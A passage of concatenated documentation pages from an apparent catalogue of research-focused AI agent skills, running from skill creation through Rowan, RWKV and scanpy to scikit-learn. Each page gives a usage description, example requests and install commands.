https://docs.kalarislabs.com/research-agent-skills/skills/research-skill-creator Create, improve and test agent skills for research workflows (paper writing, lab protocols, analysis pipelines, domain databases) that meet the Agent Skills… # `research-skill-creator` **Category:** [research-automation](/research-agent-skills/skills#research-automation) · **License:** MIT · **Version:** 1.0 · **Includes scripts** **Tags:** skill authoring, agent skills, SKILL.md, evals, contributing ## When to use it Create, improve and test agent skills for research workflows (paper writing, lab protocols, analysis pipelines, domain databases) that meet the Agent Skills specification and this repository's quality and security bar. Use when turning a repeated research task into a reusable skill, contributing a new skill to Research Agent Skills, rewriting an existing skill, writing trigger-accurate descriptions, or adding evals. Works alongside Anthropic's official skill-creator. ## Example requests Ask your agent in plain language, for example: * *"Turn our lab's qPCR analysis workflow into a reusable agent skill and contribute it."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill research-skill-creator # GitHub CLI gh skill install KalarisLabs/research-agent-skills research-skill-creator ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `research-automation` category with `/plugin install research-automation@research-agent-skills`. ## Related * [`arbor`](/research-agent-skills/skills/arbor) * [`autoresearch`](/research-agent-skills/skills/autoresearch) * [`autoskill`](/research-agent-skills/skills/autoskill) * [`evolving-ai-agents`](/research-agent-skills/skills/evolving-ai-agents) * [`research-agent-skills`](/research-agent-skills/skills/research-agent-skills) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/research-skill-creator/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # rowan — AI agent skill for chemistry and drug discovery Source: https://docs.kalarislabs.com/research-agent-skills/skills/rowan Rowan is a cloud-native molecular modeling and medicinal-chemistry workflow platform with a Python API. # `rowan` **Category:** [chemistry-and-drug-discovery](/research-agent-skills/skills#chemistry-and-drug-discovery) · **License:** Proprietary (API key required) · **Version:** 1.5 **Tags:** molecular modeling, pKa prediction, docking, computational chemistry, drug discovery ## When to use it Rowan is a cloud-native molecular modeling and medicinal-chemistry workflow platform with a Python API. Use for pKa and macropKa prediction, conformer and tautomer ensembles, docking and analogue docking, protein-ligand cofolding, MSA generation, molecular dynamics, permeability, descriptor workflows, and related small-molecule or protein modeling tasks. Ideal for programmatic batch screening, multi-step chemistry pipelines, and workflows that would otherwise require maintaining local HPC/GPU infrastructure. ## Example requests Ask your agent in plain language, for example: * *"How do I get the pKa of aspirin with Rowan?"* * *"I have 40 analogues of my kinase lead in analogs.csv (SMILES column) and a prepared receptor, kinase.pdb, with a co-crystal ligand as reference. I tried passing the SMILES strings straight into the analogue docking workflow and got a ValueError before submission. Fix this and run the whole series on Rowan, then pull out the best pose and score for each."* * *"I need to know how my carboxylic acid/amine drug candidate will be charged across pH 0-14, and whether it will cross membranes and how soluble it is at pH 7.4. I don't want to set up any local compute. How would I do that programmatically for a few hundred compounds?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill rowan # GitHub CLI gh skill install KalarisLabs/research-agent-skills rowan ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `chemistry-and-drug-discovery` category with `/plugin install chemistry-and-drug-discovery@research-agent-skills`. ## Related * [`molecular-dynamics`](/research-agent-skills/skills/molecular-dynamics) * [Skills for chemistry and drug discovery](/research-agent-skills/fields/chemistry) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/rowan/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # rwkv-architecture — AI agent skill for ml training Source: https://docs.kalarislabs.com/research-agent-skills/skills/rwkv-architecture Covers the RWKV (Receptance Weighted Key Value) architecture, an RNN/Transformer hybrid with O(n) inference and no KV cache, including RWKV-7, its parallel… # `rwkv-architecture` **Category:** [ml-training](/research-agent-skills/skills#ml-training) · **License:** MIT · **Version:** 1.0.0 **Tags:** RWKV, Model Architecture, RNN, Transformer Hybrid, Linear Complexity, Infinite Context, Efficient Inference, Linux Foundation, Alternative Architecture ## When to use it Covers the RWKV (Receptance Weighted Key Value) architecture, an RNN/Transformer hybrid with O(n) inference and no KV cache, including RWKV-7, its parallel GPT-mode training and sequential RNN-mode inference, state passing, fine-tuning with DeepSpeed, and CUDA kernel setup. Use when generating text token by token with constant memory, processing very long contexts of 100K+ tokens, fine-tuning an RWKV model, comparing RWKV memory and speed against Transformers, or debugging RWKV state handling, loading, or out-of-memory errors. Prefer a standard Transformer when peak accuracy matters more than memory, and Mamba for state-space models. ## Example requests Ask your agent in plain language, for example: * *"How do I run an RWKV model one token at a time without the memory growing?"* * *"I'm fine-tuning RWKV-7 on my own corpus (train.jsonl, about 2B tokens) on a single 24GB GPU using DeepSpeed, and I get 'CUDA out of memory' a few steps in. I'm using the RWKV-LM repo. What should I change?"* * *"I need to run a language model over entire books and log files, a few hundred thousand tokens each, on a laptop GPU with 8GB of VRAM. Standard attention models blow up in memory. What are my options, and can you set up something that streams through the text in chunks?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill rwkv-architecture # GitHub CLI gh skill install KalarisLabs/research-agent-skills rwkv-architecture ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-training` category with `/plugin install ml-training@research-agent-skills`. ## Related * [`mamba-architecture`](/research-agent-skills/skills/mamba-architecture) * [`optimizing-attention-flash`](/research-agent-skills/skills/optimizing-attention-flash) * [`speculative-decoding`](/research-agent-skills/skills/speculative-decoding) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/rwkv-architecture/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # scanpy — AI agent skill for life sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/scanpy Standard single-cell RNA-seq analysis pipeline. # `scanpy` **Category:** [life-sciences](/research-agent-skills/skills#life-sciences) · **License:** BSD-3-Clause · **Version:** 1.6 · **Includes scripts** **Tags:** single-cell RNA-seq, scRNA-seq, clustering, UMAP, bioinformatics ## When to use it Standard single-cell RNA-seq analysis pipeline. Use for QC, normalization, dimensionality reduction (PCA/UMAP/t-SNE), clustering, differential expression, visualization, and converting R-friendly single-cell formats such as Seurat or SingleCellExperiment RDS files into h5ad for Scanpy. Best for exploratory scRNA-seq analysis with established workflows. For deep learning models use scvi-tools; for data format questions use anndata. ## Example requests Ask your agent in plain language, for example: * *"How do I cluster my PBMC h5ad and get UMAP plots?"* * *"I have a mouse cortex 10x dataset in ./filtered\_feature\_bc\_matrix/ (3 samples, 'sample' column to be added). I need to run QC with mito filtering at a threshold that makes sense for brain tissue, flag doublets, normalize, integrate the samples, and find markers per cluster. Running sc.tl.louvain gives me a deprecation warning. What should I do?"* * *"A collaborator sent me a Seurat object saved as pbmc\_annotated.rds with cell type labels in the metadata. I want to explore it in Python and look at the clusters and make a dotplot of marker genes. How should I get started?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill scanpy # GitHub CLI gh skill install KalarisLabs/research-agent-skills scanpy ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `life-sciences` category with `/plugin install life-sciences@research-agent-skills`. ## Related * [`scvi-tools`](/research-agent-skills/skills/scvi-tools) * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/scanpy/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # scholar-evaluation — AI agent skill for research writing Source: https://docs.kalarislabs.com/research-agent-skills/skills/scholar-evaluation Provide qualitative-first, evidence-traceable developmental review of scholarly works and audit low-stakes research-assessment rubrics with optional local… # `scholar-evaluation` **Category:** [research-writing](/research-agent-skills/skills#research-writing) · **License:** MIT · **Version:** 2.2 · **Includes scripts** **Tags:** scholarly review, research assessment, developmental feedback, academic evaluation ## When to use it Provide qualitative-first, evidence-traceable developmental review of scholarly works and audit low-stakes research-assessment rubrics with optional local quality controls. Never use for ranking people or consequential decisions. ## Example requests Ask your agent in plain language, for example: * *"Can you give me developmental feedback on my draft protocol for a randomized trial of sleep hygiene in adolescents? I want criterion-by-criterion comments with evidence pointers, not a verdict."* * *"I've got rubric.json and evaluation\_a.json / evaluation\_b.json for our department's internal seminar-paper feedback program (deidentified, low stakes). Validate the rubric, check evidence traceability against evidence\_manifest.json, and compute inter-rater agreement between the two raters."* * *"We run a small internal feedback scheme for preprints and want to know if our scoring process is defensible. Can you check whether we've documented who owns it, how raters are calibrated, how appeals work, and whether our weights change the outcome much?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill scholar-evaluation # GitHub CLI gh skill install KalarisLabs/research-agent-skills scholar-evaluation ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `research-writing` category with `/plugin install research-writing@research-agent-skills`. ## Related * [`citation-verification`](/research-agent-skills/skills/citation-verification) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/scholar-evaluation/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # science-aaas — AI agent skill for journal formats Source: https://docs.kalarislabs.com/research-agent-skills/skills/science-aaas Prepare manuscripts for Science and the Science family of journals (Science, Science Advances, Science Translational Medicine, Science Robotics, Science… # `science-aaas` **Category:** [journal-formats](/research-agent-skills/skills#journal-formats) · **License:** MIT · **Version:** 1.0 **Tags:** Science, AAAS, Science Advances, journal formatting, submission ## When to use it Prepare manuscripts for Science and the Science family of journals (Science, Science Advances, Science Translational Medicine, Science Robotics, Science Immunology, Science Signaling), covering Research Article vs Report formats, abstracts and one-sentence summaries, reference and notes style, Supplementary Materials, data/code policies, figure requirements and the initial-submission vs revision workflow. Use when targeting a Science journal, converting a manuscript to Science style, or checking a submission against Science author instructions. ## Example requests Ask your agent in plain language, for example: * *"Prepare our manuscript as a Science Report with a one-sentence summary."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill science-aaas # GitHub CLI gh skill install KalarisLabs/research-agent-skills science-aaas ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `journal-formats` category with `/plugin install journal-formats@research-agent-skills`. ## Related * [`cover-letter-to-editor`](/research-agent-skills/skills/cover-letter-to-editor) * [`creative-thinking-for-research`](/research-agent-skills/skills/creative-thinking-for-research) * [`hugging-science`](/research-agent-skills/skills/hugging-science) * [`abstract-and-title`](/research-agent-skills/skills/abstract-and-title) * [`rebuttal-and-response-to-reviewers`](/research-agent-skills/skills/rebuttal-and-response-to-reviewers) * [`reproducibility-statement`](/research-agent-skills/skills/reproducibility-statement) * [`scientific-visualization`](/research-agent-skills/skills/scientific-visualization) * [`venue-templates`](/research-agent-skills/skills/venue-templates) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/science-aaas/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # scientific-brainstorming — AI agent skill for ideation and design Source: https://docs.kalarislabs.com/research-agent-skills/skills/scientific-brainstorming Facilitates evidence-aware scientific ideation with independent generation, structured discussion, explicit assumptions, transparent evaluation, adversarial… # `scientific-brainstorming` **Category:** [ideation-and-design](/research-agent-skills/skills#ideation-and-design) · **License:** MIT · **Version:** 1.2 · **Includes scripts** **Tags:** brainstorming, research ideation, research directions, scientific method ## When to use it Facilitates evidence-aware scientific ideation with independent generation, structured discussion, explicit assumptions, transparent evaluation, adversarial review, and decision logs. Use for early-stage research brainstorming or prioritizing candidate directions; hand off empirical validation, study design, ethics or regulatory review, and clinical questions to appropriate experts or skills. ## Example requests Ask your agent in plain language, for example: * *"Our lab needs new ideas for why our organoid batches vary so much. How should we brainstorm this without the PI steering everyone?"* * *"I have 14 candidate directions in ideas\_v2.xlsx for our soil microbiome carbon-sequestration grant (due to a USDA panel in March). Four of us rated them 1-5 on feasibility and novelty and the averages are all between 3.1 and 3.6. Help me prioritize and document the decision for the PI."* * *"We're a small team starting a new project on microplastics and gut health and have no clear direction yet. I want to come out of a two-hour meeting with a handful of promising, defensible research angles and a record of why we chose them. How do we run that?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill scientific-brainstorming # GitHub CLI gh skill install KalarisLabs/research-agent-skills scientific-brainstorming ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ideation-and-design` category with `/plugin install ideation-and-design@research-agent-skills`. ## Related * [`arbor`](/research-agent-skills/skills/arbor) * [`brainstorming-research-ideas`](/research-agent-skills/skills/brainstorming-research-ideas) * [`hypothesis-generation`](/research-agent-skills/skills/hypothesis-generation) * [`experimental-design`](/research-agent-skills/skills/experimental-design) * [`literature-review`](/research-agent-skills/skills/literature-review) * [`peer-review`](/research-agent-skills/skills/peer-review) * [`statistical-analysis`](/research-agent-skills/skills/statistical-analysis) * [`statistical-power`](/research-agent-skills/skills/statistical-power) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/scientific-brainstorming/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # scientific-critical-thinking — AI agent skill for research writing Source: https://docs.kalarislabs.com/research-agent-skills/skills/scientific-critical-thinking Evaluate scientific claims and evidence quality. # `scientific-critical-thinking` **Category:** [research-writing](/research-agent-skills/skills#research-writing) · **License:** MIT · **Version:** 1.3 **Tags:** critical thinking, evidence quality, bias, GRADE, research methods ## When to use it Evaluate scientific claims and evidence quality. Use for assessing experimental design validity, identifying biases and confounders, applying evidence grading frameworks (GRADE, Cochrane Risk of Bias), or teaching critical analysis. Best for understanding evidence quality, identifying flaws. For formal peer review writing use peer-review. ## Example requests Ask your agent in plain language, for example: * *"Is this a good study? 40 mice, treated group housed in one cage, control in another, outcome scored by the same grad student who ran the injections. Authors claim the drug 'cures' anxiety."* * *"I've attached smith2023\_vitD\_RCT.pdf, a meta-analysis of 14 vitamin D trials for respiratory infection prevention. Can you rate the certainty of evidence for the primary outcome using GRADE and tell me where each trial sits on Cochrane risk of bias? Several trials used per-protocol analysis and I2 is 68%."* * *"I'm teaching a journal club for first-year PhD students. I want them to learn to tell what a paper actually showed from what the authors say it means. How should I structure a session around a recent nutrition cohort study that claims a food 'prevents' cancer?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill scientific-critical-thinking # GitHub CLI gh skill install KalarisLabs/research-agent-skills scientific-critical-thinking ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `research-writing` category with `/plugin install research-writing@research-agent-skills`. ## Related * [`bgpt-paper-search`](/research-agent-skills/skills/bgpt-paper-search) * [`rebuttal-and-response-to-reviewers`](/research-agent-skills/skills/rebuttal-and-response-to-reviewers) * [`citation-verification`](/research-agent-skills/skills/citation-verification) * [`peer-review`](/research-agent-skills/skills/peer-review) * [`systematic-review-prisma`](/research-agent-skills/skills/systematic-review-prisma) * [`unslop-academic-writing`](/research-agent-skills/skills/unslop-academic-writing) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/scientific-critical-thinking/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # scientific-schematics — AI agent skill for visualization and presentation Source: https://docs.kalarislabs.com/research-agent-skills/skills/scientific-schematics Generates publication-style scientific diagrams as raster PNG images from a natural-language prompt, using Nano Banana 2 via OpenRouter, then scores each… # `scientific-schematics` **Category:** [visualization-and-presentation](/research-agent-skills/skills#visualization-and-presentation) · **License:** MIT · **Version:** 1.7 · **Includes scripts** **Tags:** scientific diagrams, schematics, figures, illustrations ## When to use it Generates publication-style scientific diagrams as raster PNG images from a natural-language prompt, using Nano Banana 2 via OpenRouter, then scores each image with Gemini 3.6 Flash against a document-type threshold (journal, conference, thesis, grant, preprint, poster, etc.) and regenerates up to twice. Writes versioned PNGs and a review\_log.json. Use when drawing neural network architectures, CONSORT or PRISMA flowcharts, biological signaling pathways, system or block diagrams, or circuit schematics. Use when a figure needs a quality score and critique recorded for a paper, poster, or grant. Not for vector, PDF, SVG, or EPS output, or for data plots; use a plotting skill for those. Prompts leave the machine, so avoid unpublished or patient data. ## Example requests Ask your agent in plain language, for example: * *"Draw me a PRISMA flow diagram for my systematic review: 1,240 records identified, 310 duplicates removed, 930 screened, 112 full-text assessed, 41 included."* * *"I'm submitting to Nature Communications. I need a figure of our U-Net variant: 4 encoder blocks (64-512 channels) with 3x3 convs and max-pool, a bottleneck, 4 decoder blocks with skip connections, and a 1x1 conv output head. Save it to figures/unet\_arch.png and tell me whether it would pass review for the journal threshold."* * *"For my grant proposal I need a clear picture showing how EGF binding leads to a kinase cascade that ends with transcription changes in the nucleus. Something I can drop into the methods background section, with a quality check on it."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill scientific-schematics # GitHub CLI gh skill install KalarisLabs/research-agent-skills scientific-schematics ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `visualization-and-presentation` category with `/plugin install visualization-and-presentation@research-agent-skills`. ## Related * [`academic-plotting`](/research-agent-skills/skills/academic-plotting) * [`autoskill`](/research-agent-skills/skills/autoskill) * [`generate-image`](/research-agent-skills/skills/generate-image) * [`infographics`](/research-agent-skills/skills/infographics) * [`markdown-mermaid-writing`](/research-agent-skills/skills/markdown-mermaid-writing) * [`matplotlib`](/research-agent-skills/skills/matplotlib) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/scientific-schematics/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # scientific-slides — AI agent skill for visualization and presentation Source: https://docs.kalarislabs.com/research-agent-skills/skills/scientific-slides Build slide decks and presentations for research talks. # `scientific-slides` **Category:** [visualization-and-presentation](/research-agent-skills/skills#visualization-and-presentation) · **License:** MIT · **Version:** 1.8 · **Includes scripts** **Tags:** presentations, slides, conference talks, thesis defense, academic presentations ## When to use it Build slide decks and presentations for research talks. Use this for making PowerPoint slides, conference presentations, seminar talks, research presentations, thesis defense slides, or any scientific talk. Provides slide structure, design templates, timing guidance, and visual validation. Works with PowerPoint and LaTeX Beamer. ## Example requests Ask your agent in plain language, for example: * *"I need slides for my 12-minute talk at a neuroscience meeting next month. Can you help?"* * *"My committee meets on the 14th for my PhD defense. I have results in results/figs/ (fig1\_ablation.png, fig2\_roc\_curves.png, fig3\_umap.png) and a draft thesis in thesis.pdf covering single-cell RNA-seq of zebrafish fin regeneration. Build me a defense deck in Beamer, and make sure nothing overflows or looks cramped when you're done."* * *"I have to present our lab's findings on CRISPR screens to the department for an hour on Friday. I'd like something that tells a clear story, not a wall of bullets, and I want to know how long to spend on each section so I don't run over."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill scientific-slides # GitHub CLI gh skill install KalarisLabs/research-agent-skills scientific-slides ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `visualization-and-presentation` category with `/plugin install visualization-and-presentation@research-agent-skills`. ## Related * [`abstract-and-title`](/research-agent-skills/skills/abstract-and-title) * [`autoskill`](/research-agent-skills/skills/autoskill) * [`generate-image`](/research-agent-skills/skills/generate-image) * [`histolab`](/research-agent-skills/skills/histolab) * [`pptx-posters`](/research-agent-skills/skills/pptx-posters) * [`presenting-conference-talks`](/research-agent-skills/skills/presenting-conference-talks) * [`latex-posters`](/research-agent-skills/skills/latex-posters) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/scientific-slides/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # scientific-visualization — AI agent skill for visualization and presentation Source: https://docs.kalarislabs.com/research-agent-skills/skills/scientific-visualization Create and audit truthful, accessible, publication-ready scientific figures with Matplotlib, Seaborn, or Plotly. # `scientific-visualization` **Category:** [visualization-and-presentation](/research-agent-skills/skills#visualization-and-presentation) · **License:** MIT · **Version:** 1.2 · **Includes scripts** **Tags:** scientific figures, data visualization, publication figures, accessibility, plotting ## When to use it Create and audit truthful, accessible, publication-ready scientific figures with Matplotlib, Seaborn, or Plotly. Use for figure design, multi-panel layouts, uncertainty and missing-data displays, color/contrast review, image metadata validation, and journal export planning. ## Example requests Ask your agent in plain language, for example: * *"Can you check if my figure palette is colorblind-safe and has enough contrast?"* * *"I have fig3.pdf for my Nature Communications revision with 4 panels made in Matplotlib (results/fig3\_raw\.csv has the data). The editor says the figure is too low resolution and fonts aren't embedded. How do I check what's wrong and re-export it at 180 mm width?"* * *"My growth-curve data has a few timepoints where the plate reader failed, and I want a clean figure showing treated vs control with error bars for a paper. The lines currently look smooth and complete, which feels a bit too good. What should I change?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill scientific-visualization # GitHub CLI gh skill install KalarisLabs/research-agent-skills scientific-visualization ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `visualization-and-presentation` category with `/plugin install visualization-and-presentation@research-agent-skills`. ## Related * [`academic-plotting`](/research-agent-skills/skills/academic-plotting) * [`acm-sigconf`](/research-agent-skills/skills/acm-sigconf) * [`bulk-rnaseq`](/research-agent-skills/skills/bulk-rnaseq) * [`cell-press`](/research-agent-skills/skills/cell-press) * [`ieee-transactions`](/research-agent-skills/skills/ieee-transactions) * [`matplotlib`](/research-agent-skills/skills/matplotlib) * [`nature-portfolio`](/research-agent-skills/skills/nature-portfolio) * [`pathway-enrichment`](/research-agent-skills/skills/pathway-enrichment) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/scientific-visualization/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # scientific-writing — AI agent skill for research writing Source: https://docs.kalarislabs.com/research-agent-skills/skills/scientific-writing Draft, revise, and audit scientific manuscripts or reports with explicit evidence provenance, reporting-guideline coverage, authorship accountability… # `scientific-writing` **Category:** [research-writing](/research-agent-skills/skills#research-writing) · **License:** MIT · **Version:** 2.1 · **Includes scripts** **Tags:** scientific writing, manuscripts, academic writing, research papers, reporting guidelines ## When to use it Draft, revise, and audit scientific manuscripts or reports with explicit evidence provenance, reporting-guideline coverage, authorship accountability, confidentiality controls, and local consistency checks. Use for manuscript sections, references, declarations, tables, figures, or submission preparation when scientific accuracy and traceability matter. ## Example requests Ask your agent in plain language, for example: * *"Help me write the Methods section for my RCT manuscript without making stuff up. I'll give you the protocol."* * *"I have draft.md, claims.csv and source\_manifest.json for my cohort study on statin use and dementia (target journal: JAMA Network Open). The abstract says n=4,212 but the results table says 4,128. Can you check consistency, run the local lint, and get the references and declarations ready for submission?"* * *"My manuscript on a new soil microbiome sequencing method is almost done. I want to make sure every number and citation in it can be traced back to a real source, the funding and conflict statements are accurate, and that I'm not leaking anything confidential when I use an AI tool. What's the process?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill scientific-writing # GitHub CLI gh skill install KalarisLabs/research-agent-skills scientific-writing ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `research-writing` category with `/plugin install research-writing@research-agent-skills`. ## Related * [`abstract-and-title`](/research-agent-skills/skills/abstract-and-title) * [`apa7`](/research-agent-skills/skills/apa7) * [`autoskill`](/research-agent-skills/skills/autoskill) * [`bulk-rnaseq`](/research-agent-skills/skills/bulk-rnaseq) * [`clinical-reports`](/research-agent-skills/skills/clinical-reports) * [`markdown-mermaid-writing`](/research-agent-skills/skills/markdown-mermaid-writing) * [`pathway-enrichment`](/research-agent-skills/skills/pathway-enrichment) * [`peer-review`](/research-agent-skills/skills/peer-review) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/scientific-writing/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # scikit-bio — AI agent skill for life sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/scikit-bio Python library scikit-bio for biological sequence and community-ecology analysis: DNA/RNA/protein sequences, pair_align alignment, phylogenetic trees (NJ… # `scikit-bio` **Category:** [life-sciences](/research-agent-skills/skills#life-sciences) · **License:** BSD-3-Clause license · **Version:** 1.2 **Tags:** bioinformatics, microbial ecology, diversity analysis, phylogenetics, sequences ## When to use it Python library scikit-bio for biological sequence and community-ecology analysis: DNA/RNA/protein sequences, pair\_align alignment, phylogenetic trees (NJ, UPGMA, GME/BME, Newick), alpha/beta diversity including Faith's PD and UniFrac, PCoA/CCA/RDA ordination, PERMANOVA/ANOSIM/Mantel tests, ancom and dirmult differential abundance, BIOM tables, and FASTA/FASTQ/GenBank I/O. Use when computing microbiome diversity from a BIOM or feature table. Use when running PCoA and PERMANOVA on a distance matrix. Use when building or comparing phylogenetic trees from sequences. Use when reading, converting, or aligning FASTA/FASTQ/GenBank/Newick data. Use when testing differential abundance in compositional count data. Not for general-purpose sequence scripting where Biopython is enough. ## Example requests Ask your agent in plain language, for example: * *"How do I run PERMANOVA on a distance matrix in skbio?"* * *"I have a QIIME2 export, feature-table.biom, plus a rooted tree.nwk from the same ASVs and metadata.tsv with a 'treatment' column. I need Faith's PD per sample, weighted UniFrac between samples, then a PCoA and a test of whether treatment groups differ. My faith\_pd call raises an error about taxa not found in the tree. What's the right code?"* * *"I have 16S amplicon counts from gut samples in two diet groups. I want to know which taxa are significantly more abundant in one group, and I know the data are compositional and have lots of zeros. What should I do?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill scikit-bio # GitHub CLI gh skill install KalarisLabs/research-agent-skills scikit-bio ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `life-sciences` category with `/plugin install life-sciences@research-agent-skills`. ## Related * [`biopython`](/research-agent-skills/skills/biopython) * [`etetoolkit`](/research-agent-skills/skills/etetoolkit) * [`waypoint-bio`](/research-agent-skills/skills/waypoint-bio) * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/scikit-bio/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # scikit-learn — AI agent skill for data science and ml Source: https://docs.kalarislabs.com/research-agent-skills/skills/scikit-learn Covers classical machine learning in Python with scikit-learn (sklearn): classification and regression estimators, clustering and dimensionality reduction… # `scikit-learn` **Category:** [data-science-and-ml](/research-agent-skills/skills#data-science-and-ml) · **License:** BSD-3-Clause license · **Version:** 1.3 · **Includes scripts** **Tags:** machine learning, scikit-learn, classification, regression, cross-validation ## When to use it Covers classical machine learning in Python with scikit-learn (sklearn): classification and regression estimators, clustering and dimensionality reduction, preprocessing, Pipeline and ColumnTransformer, cross-validation, metrics, and GridSearchCV hyperparameter tuning. Use when training or comparing classifiers and regressors on tabular or text data, clustering data and choosing the cluster count, building leakage-free preprocessing pipelines, evaluating models with cross-validation and metrics, or tuning hyperparameters. Not for deep learning; use a dedicated neural network framework instead. ## Example requests Ask your agent in plain language, for example: * *"random forest vs gradient boosting on my csv, which is better? use cross-val"* * *"I have patients.csv with columns age, bmi, sex, smoker, region and a binary target 'readmitted' (about 8% positive). I'm doing StandardScaler on everything and then train\_test\_split, then LogisticRegression, and I get a ConvergenceWarning plus suspiciously high AUC. Can you fix this and set up a proper evaluation?"* * *"I've got a table of 5,000 customers with about 20 numeric behavior measurements and no labels. I want to find natural groups and work out how many groups there really are, then show them in 2D."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill scikit-learn # GitHub CLI gh skill install KalarisLabs/research-agent-skills scikit-learn ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `data-science-and-ml` category with `/plugin install data-science-and-ml@research-agent-skills`. ## Related * [`aeon`](/research-agent-skills/skills/aeon) * [`arboreto`](/research-agent-skills/skills/arboreto) * [`datamol`](/research-agent-skills/skills/datamol) * [`weights-and-biases`](/research-agent-skills/skills/weights-and-biases) * [`timesfm-forecasting`](/research-agent-skills/skills/timesfm-forecasting) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/scikit-learn/SKILL.md) for the complete workflow, references and any scripts. The agent installer 